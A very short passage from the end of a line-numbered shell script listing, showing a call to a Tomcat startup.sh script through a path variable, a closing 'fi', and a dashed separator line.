$tomcatpath'/startup.sh' 42 | 43 | fi 44 | 45 | 46 | 47 | --------------------------------------------------------------------------------